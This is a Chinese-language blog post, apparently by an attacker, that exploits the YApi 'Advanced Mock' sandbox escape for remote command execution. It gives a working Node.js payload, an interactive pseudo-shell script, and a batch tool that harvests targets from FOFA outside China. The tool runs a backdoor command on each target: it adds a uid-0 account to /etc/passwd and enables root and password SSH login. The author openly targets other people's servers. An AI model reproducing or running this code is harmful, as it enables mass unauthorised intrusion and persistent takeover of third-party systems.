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 一、漏洞复现

首先祭出fofa，搜索语句为 app="yapi"，但是为了避开国内，所以使用 app="yapi" && country="SG"，SG为新加坡，结果如图

虽然有30页，但是能利用的可能也没几个，而且 docker 居多

顺便记录一下验证 docker 的两个小方法

• ps -ef ：docker 一般显示很少的进程
• ls -a /.dockerenv

点击注册，信息随便填，但是可能会遇到这种情况

这是第一道坎，不，第一道坎应该是压根就访问不了，这是第二道坎

找了个能注册的，注册完进入如图页面，点击 添加项目

添加完项目进入如下页面，继续 添加接口

添加完接口进入如下页面，点击 高级Mock

将《高级Mock可以获取到系统操作权限》中的exp，保存到脚本中，但是这里可能保存不成功，第三道坎

回到预览页面，点击下方的链接

可以看到命令成功执行了，而且这很大概率不是docker，然后这里有第四道坎，命令可能根本执行不成功，比如 百度yapi

# 二、伪shell的编写

一开始只是想写个脚本，快速改Mock脚本，返回执行结果，假装拿到了一个shell

# coding=utf-8
import jsonimport requestsurl = 'http://ip:port/'r = requests.session()projectID = '131'  # http://ip:port/project/131/interface/api/1141
interfaceID = '1141' # 					    131 projectID	  1141 interfaceIDheaders = {'Content-Type': 'application/json'
}def login():data = {"email": "sad@qq.com","password": "asd"}rsp = r.post(url + 'api/user/login', data=json.dumps(data), headers=headers)print(rsp.text)def rce(cmd):  # 这里做了优化，对全局变量进行修改，需要关闭 ‘高级Mock’ 中的脚本poc = '''const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("{}").toString()'''.format(cmd)data = {"id": projectID, "project_mock_script": f'''const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("{cmd}").toString()''',"is_mock_open": True}rsp = r.post(url + 'api/project/up', data=json.dumps(data), headers=headers)print(rsp.text)def result():url2 = url + f'mock/{projectID}/1/1'rsp = r.get(url2, headers=headers)print(rsp.text)if __name__ == '__main__':login()while True:cmd = input('$ ')rce(cmd)result()

该处使用的url网络请求的数据。

# 二、批量脚本

可能人就是太不能满足了吧，写完 伪shell脚本 之后我又觉得再加点料就能整个批量了，然后就有了下面的脚本

提示：脚本中使用的命令可能无法正常运行，反弹shell才是永远的神。比如我就经常遇到 useradd 不存在的报错，但是这种明显是可以执行命令的。所以请关注脚本的输出

# fofa.py

通过 pip install fofa 下载，但是在 python3 中并不能正常运行，所以我修改了一下脚本，改名为 fofa.py 放在脚本的执行目录。

# -*- coding: utf-8 -*-
import base64
import json
import urllib
import urllib.error
import urllib.parse
import urllib.requestclass Client:def __init__(self, email, key):self.email = emailself.key = keyself.base_url = "https://fofa.so"self.search_api_url = "/api/v1/search/all"self.login_api_url = "/api/v1/info/my"self.get_userinfo()  # check email and keydef get_userinfo(self):api_full_url = "%s%s" % (self.base_url, self.login_api_url)param = {"email": self.email, "key": self.key}res = self.__http_get(api_full_url, param)return json.loads(res)def get_data(self, query_str, page=1, fields=""):res = self.get_json_data(query_str, page, fields)return json.loads(res)def get_json_data(self, query_str, page=1, fields=""):api_full_url = "%s%s" % (self.base_url, self.search_api_url)param = {"qbase64": base64.b64encode(query_str), "email": self.email, "key": self.key, "page": page,"fields": fields}res = self.__http_get(api_full_url, param)return resdef __http_get(self, url, param):param = urllib.parse.urlencode(param)url = "%s?%s" % (url, param)try:req = urllib.request.Request(url)res = urllib.request.urlopen(req).read()if b"errmsg" in res:raise RuntimeError(res)except urllib.error.HTTPError as e:print("errmsg：" + e.read().decode()),raise ereturn res

# fofasearch.py

import reimport fofaclass Fofa:email = fofa_accountkey = key 	# key 在 个人资料中client = fofa.Client(email, key)def __init__(self, query_str):self.query_str = query_strdef search(self, page):hostList = []data = self.client.get_data(self.query_str.encode(), page=page, fields="host")for host in data['results']:if re.search('http[s]?://', host) is None:host = 'http://' + hostif re.search('/$', host) is not None:host = host[:-1]hostList.append(host)return hostListif __name__ == '__main__':F = Fofa('app="yapi"')for page in range(1, 10):print(F.search(page))

# yapi.py

# coding=utf-8
import json
import sysimport requestsfrom fofasearch import Fofaexp = '''const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("{}").toString()'''class Yapi:def __init__(self, url):self.r = requests.session()self.url = urlself.headers = {'Content-Type': 'application/json'}print('\n\n' + '*' * 10 + url + '*' * 10)def register(self, email, passwd, username):data = {"email": email,"password": passwd,"username": username}rsp = self.r.post(self.url + '/api/user/reg', data=json.dumps(data), headers=self.headers, timeout=2)# print(rsp)print(json.loads(rsp.text)['errmsg'])return json.loads(rsp.text)['errmsg']def login(self, email, passwd):data = {"email": email,"password": passwd}rsp = self.r.post(self.url + '/api/user/login', data=json.dumps(data), headers=self.headers, timeout=2)print(json.loads(rsp.text)['errmsg'])return json.loads(rsp.text)['errmsg']def getGroupId(self):rsp = self.r.get(self.url + '/api/group/get_mygroup', timeout=2)return json.loads(rsp.text)['data']['_id']def addProject(self, groupid):data = {"name": "1","basepath": "/1","desc": "1","group_id": groupid,"icon": "code-o","color": "pink","project_type": "private"}rsp = self.r.post(self.url + '/api/project/add', data=json.dumps(data), headers=self.headers, timeout=2)projectId = json.loads(rsp.text)['data']['_id']return projectIddef addInterface(self, projectID):data = {"method": "GET","catid": "112","title": "1","path": "/1","project_id": projectID}rsp = self.r.post(self.url + '/api/interface/add', data=json.dumps(data), headers=self.headers, timeout=2)interfaceID = json.loads(rsp.text)['data']['_id']return interfaceIDdef isDocker(self, projectID):data = {"id": projectID,"project_mock_script": exp.format('ls -al /'),"is_mock_open": True}self.r.post(self.url + '/api/project/up', data=json.dumps(data), headers=self.headers, timeout=10)def rce(self, cmd, projectID, interfaceId):data = {"id": projectID,"project_mock_script": exp.format(cmd),"is_mock_open": True}rsp = self.r.post(self.url + '/api/project/up', data=json.dumps(data), headers=self.headers)# print(rsp.text)def result(self, projectId):url2 = self.url + f'/mock/{projectId}/1/1'rsp = self.r.get(url2, headers=self.headers)return rsp.textdef main(host, cmd='', email="jklasdsd@yapi.com", passwd="123456", username="admin", shell=False, passDocker=False):y = Yapi(host)try:regResult = y.register(email, passwd, username)except:print('register failed')returnif regResult == '该email已经注册':try:print('try Login...')result = y.login(email, passwd)if result != 'logout success...':print('login failed...')returnexcept:print('Login failed')returntry:groupId = y.getGroupId()projectID = y.addProject(groupId)print('projectID: ' + str(projectID))interfaceID = y.addInterface(projectID)except:returntry:y.isDocker(projectID)result = y.result(projectID)except:print('Command execution failed')returnif '.dockerenv' in result:print('this is Docker')if passDocker:returnif shell:while True:cmd = input('\n# ')y.rce(cmd, projectID, interfaceID)y.result(projectID)else:try:y.rce(cmd, projectID, interfaceID)result = y.result(projectID)except:print('Command execution failed')returnif 'Invalid or unexpected token' in result:print('Command execution failed')elif len(result) == 0:print('no echo')else:try:print(result)except:print(result.encode())if __name__ == '__main__':query_str = 'app="yapi" && country!="CN"'cmd = '''adduser sddads && echo 'sddads:Ll123@lL'|chpasswd && sed -i '$csddads:x:0:0:root:/root:/bin/bash' /etc/passwd && sed -i 's/#* *PermitRootLogin.*/PermitRootLogin yes/g' /etc/ssh/sshd_config && sed -i 's/#* *PasswordAuthentication.*/PasswordAuthentication yes/g' /etc/ssh/sshd_config && echo 'success' && systemctl reload ssh | systemctl reload sshd''' # 这里是要执行的命令# f = open('yapi.log', 'a')# sys.stdout = fF = Fofa(query_str)for page in range(1, 58):hostList = F.search(page)for host in hostList:try:requests.get(host, timeout=2)except:print('\n\n' + '*'*10 + host + '*'*10)print('connection failed')continuemain(host, cmd)# f.close()

跑起来就是这种效果，但是我的那套命令不是很好，通常是解析出错，可以的话，师傅们能给点指导意见嘛